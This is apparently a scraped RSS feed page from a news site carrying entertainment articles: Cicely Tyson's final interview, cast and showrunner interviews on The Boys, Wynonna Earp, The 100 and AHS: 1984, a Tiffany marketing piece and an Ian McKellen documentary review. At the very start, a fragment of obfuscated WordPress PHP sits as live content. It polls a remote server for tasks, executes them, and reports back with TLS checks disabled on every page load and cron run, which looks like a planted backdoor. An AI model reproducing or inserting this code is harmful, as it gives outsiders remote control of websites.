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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); reflects – Brief News https://briefnews.eu Latest World News. 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Less than 24 hours after the world learned of Cicely Tyson‘s death, the late actress appeared in a pre-taped interview during Friday’s episode of Live With Kelly and Ryan.

Tyson’s visit to the daytime talk show was in promotion of her new book Just as I Am: A Memoir, which hit shelves on Jan. 26.

The interview began with a story from the 96-year-old actress’ earliest days. When Tyson was just a baby, a stranger told her mother that she was going to grow up to be incredibly successful. Tyson explained that she was shy as a child (“I sucked this thumb for 12 years”), which made her a keen observer of humanity. “I listened and I learned why people said and did the things that they did.”

Looking back on her incredible career, Tyson said, “I never thought that I would be nominated for an Oscar, but I used to watch the event every year. One night, I watched it and I said, ‘I’m going to sit in that front row one day.’ And I ended up doing that for the role of Rebecca in Sounder,” a role she was originally considered “too young” and “too sexy” to play. The part was offered to another actress, who ultimately turned it down.

“I have been an actress my whole career who’s never been paid any money, because I never really worked for money,” she explained. “I’ve worked because there were certain issues that I wish were addressed about myself and my race as a Black woman.”

When asked for her health tips, she told the co-hosts, “I never smoked, I never drank and I never did drugs. When Martin Luther King was assassinated, I was so stunned by that that I became a vegetarian. And I’ve been one most of my life.”

“To say Cicely Tyson was an American legend would be too great an understatement,” Kelly Ripa said in a special message at the top of the hour. “We were honored to speak with her … and devastated to learn of her passing. She was a trailblazer who broke barriers for Black actresses and women everywhere. Cicely was a portrait of courage, dignity and grace. We feel very fortunate to share with you her last interview.”

The Live team released the following statement on Thursday evening: “Yesterday, Kelly and Ryan were honored to have the chance to interview the iconic Cicely Tyson, for a pre-taped show airing tomorrow, Friday, Jan. 29. Tonight the Live with Kelly and Ryan team was devastated to learn of her passing. They have decided to proceed and air the show and interview as originally scheduled. The hosts, staff and crew of “Live” send their deepest condolences to the family, friends and fans of Miss Tyson, and hope that the interview serves as a fitting tribute to this legendary actress.”

From a Kennedy Center honor to the Presidential Medal of Freedom, Tyson earned countless accolades throughout her incredible, decades-long career as a trailblazing actress. Her trophy case also includes three Primetime Emmys, a Tony, a Peabody and an Academy Award. She was 96 years old.

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Warning: The following contains spoilers for The Boys Season 2, Episode 7. Proceed at your own risk!

The message of The Boys‘ penultimate Season 2 episode: Don’t get too attached to anyone.

Just when Lamplighter (played by Shawn Ashmore) was starting to win us over with his genuine remorse and twisted sense of humor, the supe met his end — at his own hands! After he helped Hughie break into the Vought tower to rescue Starlight, who’d been taken captive, Lamplighter noticed that his statue was gone.

“I wanted to do it in front of my statue. I just wanted to make my dad proud,” he dejectedly remarked… and then set himself on fire! The act triggered the emergency evacuation system, allowing Starlight to escape her power-dampening cell. But the fiery twist shouldn’t have come as a complete shock to those paying attention to Lamplighter’s words.

“Our feeling was, in the writers’ room, that Lamplighter is suicidal,” showrunner Eric Kripke tells TVLine. “He pretty much straight up says it at the end of Episode 6. He says to Mallory, ‘Please kill me. I really want to be put out of my misery.’ So he’s pretty on record that he’s suicidal.”

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“He’s just fallen so far between the backstory with Mallory’s grandkids and being reduced to a henchman and executioner for Vought,” Kripke explains. “He’s just degraded so far from who he thought he was going to be or being someone his father would be proud of. I think the pressure of trying to live up to his father’s expectations when he failed so greatly was too much for him. It’s tragic. It’s sad.”

Lamplighter’s actions were also “really symbolic,” seeing as how he chose to use his own super abilities on himself. “This power has ended up bringing him so much pain and suffering, and so he uses that same power to end his pain and suffering,” Kripke notes.

Even though Lamplighter’s story came to a tragically poetic conclusion, as intended, the showrunner wouldn’t mind a do-over. “We wrote all that before we cast Shawn, and once we cast Shawn and we saw how good he was and how soulful and weary and, in a weird way, sympathetic he made Lamplighter, I really regretted that we were killing him,” Kripke admits with a laugh. “If I could go back and do it again, knowing that I had Shawn and what he did with that character, I would have kept him alive for longer. But that was what that character was arced for from the beginning.”

The Boys Season 2 Episode 7Ashmore, too, knew “from the get-go that he was going out, and I loved that,” the actor says. “It was such a bold choice. The way that I look at death scenes is if you’re gonna go out on a show or on a film, it better be good, and it better be impactful. Otherwise, I feel like it’s a waste. I feel like it was a perfect ending to Lamplighter, and it puts Hughie in such a crazy situation.”

“It was tragic to me,” Ashmore continues. “He walks into his home, the tower, where he thinks he belongs or wants to belong, and the last remnants of who he was or what made him important or what his identity was as a supe is gone, and he’s been replaced. … [The death is] so final, and it’s so powerful, and it’s so intense that I love that scene. It was a bummer to be gone because I love the character, and I would have loved to continue playing him, but I thought it was a very, very important scene, and it was the right way for Lamplighter to go. It was an intense scene, but I was really happy with it.”

The Boys fans, what did you think of Lamplighter’s death? Grade the episode, then hit the comments!

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The following contains spoilers from Wynonna Earp‘s Season 4 summer finale.

Talk about a Haught girl summer.

Over the first half of Season 4, Wynonna Earp‘s onetime sheriff endured quite the crucible — dodging zombies while suffering a thrice (!)-broken leg, sweating out the fate of her true love Waverly (as well as “best friend” Wynonna) for more than 18 months, and then nearly killing Doc whilst subject to a frog-burping hex.

To think that all she had to do was (temporarily) die before everything turned out alright!

TVLine spoke with Nicole’s portrayer, Kat Barrell, about getting such a showcase over the season’s first half-dozen episodes, and the secret to filming an envelope-pushing love scene. Plus, what does the future hold for newly engaged #WayHaught?

TVLINE | Nicole has been such a wonderfully active character this season, at the front of a lot of stories. Is that something you picked up on, too? Is it something you’ve been wanting?
I mean, definitely. It’s really nice to see another layer of her. I’ve been really happy with her storyline this season and everything [showrunner] Emily [Andras] trusted me with. I feel like I’ve just gotten to play so much and try a bunch of new and different things. It’s been such a fun season for Nicole so far.

TVLINE | And even with everything that she’s got going on, amid all that drama, it’s never been at the cost of the romantic aspect of her storyline. Like, we still know that Waverly is her person.
Absolutely. This couple has had to run through so much craziness. I mean, they kind of fell in love in the middle of crazy, and that continues to be their lives. I think they’re just building better and better coping skills with all of it, and figuring out a way to still stay attached and strong. They make sure that they’re always checking in with each other even with everything that’s going on. It’s an amazing example of how tight their bond is that even if they’re fighting demons and they’re not physically in the same space, they still feel like they have this connection. And that connection seems to get stronger and stronger the more time we spend with them.

Wynonna Earp BarrellTVLINE | Everyone who plays a hero likes to be bad once in a while, and we gave you a Performer of the Week mention for everything you did in Episode 2. Did playing Eve scratch that itch for you, to go bad for a bit?
It totally did. I loved playing bad. I think playing the antagonist or the villain is incredibly fun, because you get permission to all these things that you can’t when you’re the hero with a moral compass. I mean, Nicole is like the most morally stable person I’ve ever “known” — she always is so noble and does the right thing — so it’s really fun to play bad in her skin. I would absolutely love to go on to play more villains, I do think they are the most fun characters to play — especially when you have such a great writer as Emily and her whole team. There’s never a “bad guy,” there’s always a reason. A bad guy never thinks that they’re a bad guy, they just have their own version of reality in which they are the hero. You’re never just like, “Oh, I’m evil.” It’s, “I want this thing more than anything else and if that makes me bad in the eyes of you, then so be it. But I am the hero of my own story.” That’s what’s so exciting about playing really well-written villains.

Wynonna Earp WayHaught SexTVLINE | Talk about the trust between you and Dominique [Provost-Chalkley], because Emily was telling me that without it, you don’t get Episode 2’s incredibly beautiful Nicole/Waverly love scene.
I mean, Dominique and I have been through so much together. We’ve been working together now for five years, which is hard to believe, and not only that but we’ve traveled together, we’ve done conventions together, and we’ve watched each other through our personal life’s ups and downs…. We’ve been witness to so many huge moments in each other’s lives, and I think that ultimately builds a massive amount of trust. But also, we just care so much about these characters and what they represent for so many people and what they represent for us. It’s always been important to us, from Day 1, that the relationship feels super grounded, super authentic, super real, and we’ve worked so hard on that.

The other important thing is that we talk everything through, so there’s never anything we’re afraid to say or are holding back. We’re always discussing every moment and minding every moment so that we can make it the best we can. We have developed this language for [Nicole and Waverly] and we’re never afraid to offer something. It’s an absence of fear, which is incredibly rare in this industry. A, it’s so rare that you get to work with people for this long and have these life experiences with them, and B, it’s so rare that you have an acting partner who is so open and trusting, and everyone is able to put their fear aside, or ego aside, or reservations aside. If there’s a scene that is intimidating, not just if it’s a physical scene but even if it’s a really emotional scene or a physically challenging scene, we always know that we have each other’s back. It’s a really special bond that we’re really, really lucky to have cultivated over the years.

TVLINE | I liked how the show recently took a couple beats to acknowledge the friction between Nicole and Jeremy, instead of glossing over it. Obviously the storyline needed him in one part of the story for those 18 months and you in another, but the characters don’t know that someone is writing their story. It made sense that there was this hurt.
Absolutely. Nicole is dealing still with a tremendous amount of guilt over what she thinks is that she let everyone down, she wasn’t able to step up to the plate. She has always had this thing where she’s felt like a bit of an outsider because she isn’t technically a “supernatural defender” or whatever. She’s a fighter for the people, so she’s always been like, “Let me help, I can do it, too,” and then she finally gets a chance and she really, in her eyes, let everyone down and did not rise to the challenge.

For someone like Nicole, whose identity is largely wrapped up in being the protector and the provider, not being able to do that, and under such extreme circumstances, really destroyed her. Not having contact with Jeremy, she felt alone, so seeing him again she has sort of started to sort through some of those feelings — but there’s never any time on Wynonna Earp to sort through things! So, Jeremy showing up kind of ripped off the Band-Aid a bit.

TVLINE | Two-part question: What’s the secret to pretending to hurl for almost an entire episode and not actually feel sick? And did you get to play with the frogs?
The frogs were very well cared for. We had two animal wranglers for our frogs and no, we were not allowed to touch them because the oils on our hands, I think, are dangerous for them. They were very, very careful about the frogs, only the handlers got to touch them. I think even Varun [Saranga, who plays Jeremy] technically wasn’t allowed to make contact. He would go to touch them and just “play” that they jumped away.

And then the secret to hurling, I don’t know, I mean…

TVLINE | I felt for you. Like, how is she not legit turning green from all this fake retching?
I don’t know, I found it quite fun, to be honest. [Laughs] Having something to throw up really helped, but I have been told by a few of my castmates that it may be a new special skill of mine. We’ve all got to be good at something, right?

TVLINE | Turning to the end of the midseason finale: Wynonna and Doc cast this little gray cloud over WayHaught’s beautiful proposal….
That’s just apropos for the show, where one thing is wonderful and another thing is falling apart. But that’s actually one of the really beautiful things about the show. In the midst of all this happiness and celebration there still is a lot of pain and not everybody’s OK, and I think that’s such a metaphor for what families are like. It’s so rare that we have a situation in our family where everyone is awesome, everyone is A-plus, top-level happiness, everyone’s great. That’s what I love about the show, it’s always so grounded and I think the way that it remains grounded is that we are constantly reminded about what’s at stake, what we have to lose, and that not everyone’s always happy and OK — and that’s so true about life. So, I loved that bittersweet moment and really enjoyed how it was so truthful to what Wynonna and Doc are going through. Even though they’re still happy for Waverly and Nicole, it was important to have their moment, too, to explore where they’re at.

I often think that, romantically, Wynonna and Doc’s relationship is the yin and yang with Nicole and Waverly’s relationship. The two couples always seem to teeter totter — if they’re up, we’re down, if we’re up, they’re down. There’s something quite nice about that. It keeps things really interesting.

Wynonna Earp Season 4 WayHaughtTVLINE | When the show eventually returns with the rest of Season 4, what will early fiancée-and-fiancée life look like for WayHaught?
I think they’re just so, so happy to have solidified their engagement and really be moving forward in a solid direction. There are hard times of transition in relationships where you’re like, “OK, what’s our next step?,” and I think for a long time Nicole and Waverly didn’t know. Everything was really grey, everything was really chaotic, and now we finally see them getting a chance to breathe and have some celebration time and some time to be reflective. We’re often moving so fast on the show that there isn’t really a lot of time to reflect and enjoy, to take a step back and take it in. So, I think that’s where we happily find them, being able to just have a brief moment to enjoy. And then of course they get back to the chaos!

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While Raven appears to be getting a good handle on the ever-expanding universe of The 100, her portrayer’s experience has been slightly different.

“This show does something different every season, and this season is complicated AF,” Lindsey Morgan, who makes her directorial debut with Wednesday’s episode (The CW, 8/7c) tells TVLine. “As a director, getting the lore right is the most important thing. I can’t get the world wrong. So I found myself really studying it, making sure all my T’s were crossed and my I’s were dotted. People are like, ‘Oh, was it easier because you’ve been on the show? And I’m like, ‘No!’”

Morgan also appreciated the opportunity to step into the minds of several characters with whom Raven doesn’t normally interact. Not only is her episode a dramatic showcase for Hope and Diyoza — newly reunited in an alien prison after a decades-long separation — but it also dives deep into the damaged psyche of an empty, heartbroken Echo.

“I approached them the same way I would approach my character,” Morgan says. “It was really just me getting to put myself in the shoes of all my cast mates and thinking how I could help to elevate or inspire them as actors.” (Revealing additional specifics about these characters’ developments would spoil this unpredictable hour. But don’t worry, we’ll go deep after it airs.)

The 100 RecapWith The 100‘s series finale creeping ever closer, Morgan says she can look back on Raven’s journey with pride. “She’s been through so much, arguably some of the worst things on the show,” Morgan says. “She has failed, but she never fully lost her resilience. She has questioned, but she never fully lost her faith in love and in people and in herself. I feel like she was also tested in every way imaginable, but she never lost her heart — and I don’t think anyone would blame her if she had. I always held onto that for Raven. In the end, it’s her saving grace.”

The end of a long-running show is always a surreal experience, but Morgan says her physical farewell to The 100 was especially “strange” because of the coronavirus pandemic. “It felt like The 100 was seeping into reality,” she says. “It was weird and confusing, but in true 100 fashion, we kept going. We brought our A game and did the best that we could. It was unfortunately very unceremonious at the end because we all had to finish shooting as quickly as possible in order to go home and quarantine. We didn’t have a wrap party, so we didn’t have as much time to say goodbye. We weren’t even allowed to hug!”

Unlike hugs, however, tears were not in short supply. “I remember on that last day, our AD was [announcing everyone’s series wrap], and it was tears every time. And we have a huge cast! So there was a lot of crying, then makeup, then shooting again. It was crazy. We made something really special, and I’m proud of that.”

Are you ready to say goodbye to The 100, or do you remain in total denial? Drop a comment with your thoughts on the long-running CW drama below.

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Attention, campers: We’re about to spoil the events of Wednesday’s American Horror Story finale. You’ve been warned!

Margaret Booth may not have lived to be AHS: 1984‘s final girl, but she still played an unforgettable role in Wednesday’s finale, one that cost her an arm and a leg. And another arm. And another leg.

“Ryan called me one day, and he said to me through laughter, ‘Well, we figured out what we’re doing to Margaret. We’re throwing her in a wood chipper!’” Leslie Grossman tells TVLine. “My first reaction was, ‘That is the single most perfect way for that character to meet her end.’ I think it was quite appropriate!”

Truth be told, Grossman is oversimplifying her character’s demise. Camp Redwood’s glamorous-yet-villainous director wasn’t just tossed into a wood chipper — not in one piece, anyway. The vengeful spirits of her victims began by severing each of her limbs from her torso, chipping away at her in pieces.

“It was as horrible as you could possible imagine, but isn’t that what she deserved?” Grossman says. “Let’s be honest here.”

Below, Grossman elaborates on the events of AHS: 1984‘s surprisingly upbeat finale, including her thoughts on Brooke and Donna sharing the title of final girl.

'AHS: 1984' FinaleTVLINE | You said Margaret had this coming, and I agree, but I liked her.
You know what? People were great to me this year. Like, really lovely, and the feedback has been overwhelmingly positive. The main thing people said was, “I love you and I hate her,” which means I was doing my job. You need characters like that to meet a horrible death. She’s so terrible! People have asked me if she had any redeeming qualities, and she really did not. I don’t think there was even a place for a redemptive storyline for Margaret. She needed to be put down in the most violent of ways. She really had it coming, didn’t she?

TVLINE | Your presence on Horror Story has increased steadily over the past few seasons, which is exciting. Does that come with any added pressure?
Only pressure in that I always want to do the very best that I can. I’m very aware that Ryan Murphy has given me a gift, and I want to make sure that I make the most of the opportunity that he’s giving me. So I’ve only felt pressure from myself, but I’ve been fortunate enough to be surrounded by unbelievable actors. And everybody says this about their own show, but I know we have the best crew in the business. On Ryan’s shows, the hair, the makeup and the wardrobe are so integral, so all of those things were like scaffolding for me to lean on. My job is just to not f–k it up.

TVLINE | We got a much happier ending than I was expecting. What did you think of the way these stories wrapped up?
I loved that Donna and Brooke shared the final girl status, and I thought it was so lovely that Jingles got a redemptive storyline. I loved that combination of camp and gore and shock and horror with — for lack of a better term — a lot of heart. I thought we needed that lovely ending. I was glad to see that Montana found love. It was such a nice ending, even if it also had someone going through a wood chipper.

TVLINE | In your mind, will the ghosts remain trapped at camp forever? Or will someone come along and save them someday?
In my mind, the ghosts will live on in Camp Redwood. The show still does so well, and I could see it going on for years and years, so it would be a lot of fun to go back and revisit those ghosts down the line and see what’s going on there.

Briarcliff ManorTVLINE | Never say never. This season is connected to at least one more.
Yes! And I love that Margaret owns properties from [Asylum]. I love how they weave in all those little Easter eggs.

TVLINE | Speaking of weaving, Margaret had some really outrageous looks this season. Did you have a favorite?
That’s a difficult question. I really loved the 1989 iteration of Margaret. Ivana Trump was very much the mood board. It was Dynasty and Ivana Trump. Lou Eyrich oversees all of the costuming, but Paula Bradley was the one who executed it this season, always under a time crunch. I don’t know how she did it. All of the stuff I wore was vintage, except for the pink coat I got killed in, because we needed multiples for all the stunts. … I thought that the camp outfit was perfect for Margaret, but I’m not going to miss those high-waisted pleated shorts and knee-high socks. Those I’m very happy to say goodbye to, even though they served a purpose for the character.

TVLINE | You also got a lot of the best lines. Do any spring to mind?
As per usual, Ryan made sure I had the most fun things to say. Nearest and dearest to my heart was, “They’re dead, Courtney! Kajagoogoo is dead!” I think that’s what it was. I couldn’t look at Leslie Jordan in that scene. Actually, I couldn’t look at him in any of the scenes we did together, because he’s so funny.

TVLINE | I loved Courtney! I didn’t know he was going to be in this season, so I was very excited when he appeared.
I didn’t know he was going to be in it this season until I saw the pictures from his fitting. I was like, “Wait, that’s who’s playing Courtney?” I literally jumped up and down, like a child. His Beverly Leslie on Will & Grace is one of the true great comedic performances ever on television. And he is even better when you meet him. That’s the thing about working in the Ryan world, you get to work with all these people you’ve admired for so long.

Your thoughts on AHS: 1984‘s surprisingly happy ending? The season as a whole? Whatever’s on your mind, drop it in a comment below.

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  • Neil Armstrong‘s moon landing was a first in human history.
  • Armstrong’s accomplishment briefly united a nation torn over the Vietnam war, the assassinations of Martin Luther King Jr. and Bobby Kennedy, and the riots of 1968.
  • However, Armstrong’s fate after his “giant leap for all mankind” mirrored that of public interest in the moon landings and trust in government. 

According to a Gallup Poll from 1999, only 50% of those surveyed could even name Neil Armstrong as the first man to land on the moon.

How might the moon walker fare 19 years later?

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]]> https://briefnews.eu/neil-armstrongs-fate-after-the-moon-landing-reflects-americas-declining-trust-in-the-government-and-interest-in-a-space-program/feed/ 0 Tiffany’s Sparkly Surge Reflects a Divided Moment in America https://briefnews.eu/tiffanys-sparkly-surge-reflects-a-divided-moment-in-america/ https://briefnews.eu/tiffanys-sparkly-surge-reflects-a-divided-moment-in-america/#respond Wed, 29 Aug 2018 17:20:24 +0000 http://briefnews.eu/tiffanys-sparkly-surge-reflects-a-divided-moment-in-america/ In a video posted online in May, the actress and model Elle Fanning slouches up to a Tiffany store in an oversized hoodie, holding a take-out coffee cup, to admire the window display. It’s a deliberate play on Breakfast at Tiffany’s, with “Moon River” playing in the background. But as Fanning stands there, in black-and-white, looking both admiring and a bit glum—It’s all beautiful, but can she afford it?—the image turns to color, and a hip-hop beat, from A$ AP Ferg, comes in. Soon, Fanning is prancing, bejeweled, through New York; her backup troupe includes a cop and a group of uniformed schoolgirls—all wearing hints of Tiffany blue.

As recently as last year, Tiffany, like a lot of luxury brands, was struggling to get Millennials to buy its products. Common wisdom would suggest that this is because Millennials are an unusually hard-up generation, thanks in part to student debt, the long hangover from the recession, and lower marriage rates (which translates to lower household income).

Tiffany, though, saw a marketing problem. In the past, it had managed to maintain a reputation as a luxury brand while also appealing to aspirationally minded, upper-middle-class Baby Boomers and Gen Xers who would buy lower-priced trinkets such as keychains. But in more recent years, the brand seemed to be losing its appeal, partly because its Upper East Side image meant young people weren’t as impressed by it as they used to be.

In October, Tiffany hired Alessandro Bogliolo, the former chief executive of the Italian apparel brand Diesel, as its CEO, and Bogliolo set out to rebrand the company for the Instagram age, introducing more personalizable jewelry (common wisdom is that Millennials care more about individualism than fitting in), graffitiing Tiffany’s flagship New York store (part of a trend in “brandalism”), planning a major renovation of that shop (built around young people’s preference for interesting experiences over products), and introducing a Millennial-oriented marketing campaign called “Believe in Dreams” (of which the Fanning video is the centerpiece).

On Tuesday, Tiffany reported better-than-expected quarterly sales and said its earnings for the year would be higher than it had earlier thought. In a call with analysts, Bogliolo credited the Believe in Dreams campaign for creating a “modern interpretation of the historical legacy of Tiffany.” The Fanning video’s message, according to a press release, is that “New York is a place where anything can happen, and Tiffany is where dreams come true.” There’s a Hepburnish, city-girl-next-door quality to Fanning’s character in the video that viewers seem to have responded to; it conveys an accessibility that hasn’t historically been associated with the Tiffany brand. “Can y’all invite [me] next time?” reads one top comment on the video, which has been viewed more than 10 million times. “This looked dope.”

Tiffany’s success might have more to do with broad economic conditions than with its marketing. In October, The New York Times, citing data from the consulting firm Bain, reported that people born between 1980 and 2010 had generated 80 percent of the growth in the luxury industry over the previous year. Other luxury companies are also thriving—Gucci and Michael Kors, among others, have also issued positive earnings reports—in part by appealing to the young.

But which young? It would seem impossible that the student-debt generation is responsible for a luxury boom—yet this is also the Crazy Rich Asians generation. Student debt and low minimum wages aren’t dragging down all Millennials. In 2003 and 2005, only one person under the age of 30 appeared on Forbes’s list of the world’s billionaires; by 2010, there were five of them, and by 2017, there were nine. The Credit Suisse Research Institute said in a report last year that Millennials are likely to face a bigger wealth gap than previous generations. “We expect only a minority of high achievers and those in high-demand sectors such as technology or finance to effectively overcome the ‘millennial disadvantage,’” the report’s authors wrote.

Is Tiffany gaining customers among the down-and-out-in-hoodies demographic? Of course not. Brands like Tiffany have never depended on the fortunes of the masses. As ever, the company makes a great deal of its money from items such as $ 175 silver pendants, which are considered small ticket, as far as the luxury industry goes, but aren’t exactly meant for working-class people. Meanwhile, the Tiffany Paper Flowers collection, which the Fanning video advertises, includes a $ 5,500 ring made of tiny diamonds in the shape of a flower and a $ 75,000 platinum-and-diamond necklace. Tiffany also sells $ 100 “paper” cups (actually made of china) that would seem to be marketed for beer pong—or magic tricks. It seems a complicated branding strategy is afoot—one fully grounded in the economics of the present moment. If the graffiti, the hip-hop video, and the dorm-room glassware can help cleanse Tiffany of its traditional air of snootiness, wealthy young people, aware of what the 99 percent thinks of them and their privilege, might feel a bit better while wearing its jewels.

]]> https://briefnews.eu/tiffanys-sparkly-surge-reflects-a-divided-moment-in-america/feed/ 0 In new documentary, Ian McKellen reflects on Magneto, Gandalf https://briefnews.eu/in-new-documentary-ian-mckellen-reflects-on-magneto-gandalf/ https://briefnews.eu/in-new-documentary-ian-mckellen-reflects-on-magneto-gandalf/#respond Sun, 08 Jul 2018 23:11:26 +0000 http://briefnews.eu/in-new-documentary-ian-mckellen-reflects-on-magneto-gandalf/

The trailer for McKellen: Playing The Part

McKellen: Playing The Part, a new documentary focused on the life of beloved actor Sir Ian McKellen, covers dense topics like acting, activism, and aging. And the nearly 80-year-old McKellen seems to have thoughtful perspectives on all of it, drawing upon his dedication to live theater, his groundbreaking advocacy work for LGBTQA rights in the UK, and his now generation-spanning appeal.

With so much to work with, the film manages to stay interesting even when it’s not perfect. Things go chronologically, and McKellen’s pre-university days feel slow compared to his later life. Director Joe Stephenson also made the unorthodox decision to rely solely on an extended McKellen interview, which delivers great insight but occasionally leaves audiences wanting a broader perspective on important moments (like the actor’s high-profile opposition to a 1988 anti-LGBTQA UK policy proposal called Section 28 or his embrace of big US blockbuster film franchises).

Still, for fans of those blockbuster roles in particular, the final third alone likely justifies a trip to the theater (or an eventual VOD rental). That’s when McKellen finally offers direct insight on X-Men’s Magneto and Lord of the Rings’ Gandalf. And by this point in the documentary, it’s clear each role felt like a logical extension of specific experiences in the actor’s life.

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]]> https://briefnews.eu/in-new-documentary-ian-mckellen-reflects-on-magneto-gandalf/feed/ 0 Black Lightning Boss Talks Finale's Season 2 Tease, Reflects on Freshman Challenges and Surprises https://briefnews.eu/black-lightning-boss-talks-finales-season-2-tease-reflects-on-freshman-challenges-and-surprises/ https://briefnews.eu/black-lightning-boss-talks-finales-season-2-tease-reflects-on-freshman-challenges-and-surprises/#respond Wed, 18 Apr 2018 06:02:34 +0000 http://briefnews.eu/black-lightning-boss-talks-finales-season-2-tease-reflects-on-freshman-challenges-and-surprises/ The following contains spoilers from the Season 1 finale of The CW’sBlack Lightning.

Jefferson Pierce’s superhero alter ego, Black Lightning, managed to survive a multi-pronged assault in the CW series’ freshman finale. But is his biggest battle yet to come, from the inside of a briefcase?